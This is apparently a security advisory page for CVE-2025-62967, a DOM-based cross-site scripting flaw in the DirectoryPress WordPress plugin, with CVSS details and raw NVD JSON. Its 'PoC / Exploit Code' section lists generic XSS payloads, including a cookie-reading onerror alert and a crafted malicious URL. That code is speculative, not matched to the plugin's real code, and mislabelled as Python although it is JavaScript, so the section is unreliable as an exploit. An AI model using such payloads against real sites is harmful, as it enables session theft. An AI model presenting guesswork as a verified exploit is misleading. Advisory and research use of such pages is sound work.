Security Vulnerability Report
中文
CVE-2025-62967 CVSS 6.5 MEDIUM

CVE-2025-62967

Published: 2025-10-27 02:15:57
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Designinvento DirectoryPress directorypress allows DOM-Based XSS.This issue affects DirectoryPress: from n/a through <= 3.6.25.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

DirectoryPress <= 3.6.25

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62967 DOM-Based XSS PoC for DirectoryPress // This PoC demonstrates how an attacker can inject malicious JavaScript // through the DirectoryPress plugin's vulnerable DOM manipulation // Method 1: Through URL parameters (if the plugin reads from URL) // Attacker crafts a URL with malicious payload: const maliciousURL = 'https://target-site.com/?search=<img src=x onerror=alert(document.cookie)>'; // Method 2: If there's a search/filter functionality // The plugin may directly write user input to DOM without sanitization const pocPayload = '<script>alert("XSS - CVE-2025-62967")</script>'; const pocPayload2 = '<img src=x onerror=alert(document.cookie)>'; const pocPayload3 = 'javascript:alert(document.domain)'; // Method 3: DOM-based attack via location.hash or location.search // Example: Plugin code might have vulnerable pattern like: // element.innerHTML = location.hash; // Vulnerable! // element.innerHTML = document.getElementById('userInput').value; // Vulnerable! // To test, inject via browser console or manipulate URL: console.log('PoC for CVE-2025-62967: DirectoryPress DOM XSS'); console.log('Payload example: <img src=x onerror=alert(document.cookie)>'); // Recommended testing steps: // 1. Install DirectoryPress <= 3.6.25 // 2. Identify input fields (search, filters, etc.) // 3. Inject the XSS payload // 4. Observe if payload executes without sanitization

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62967", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:57.073", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Designinvento DirectoryPress directorypress allows DOM-Based XSS.This issue affects DirectoryPress: from n/a through <= 3.6.25."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/directorypress/vulnerability/wordpress-directorypress-plugin-3-6-25-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}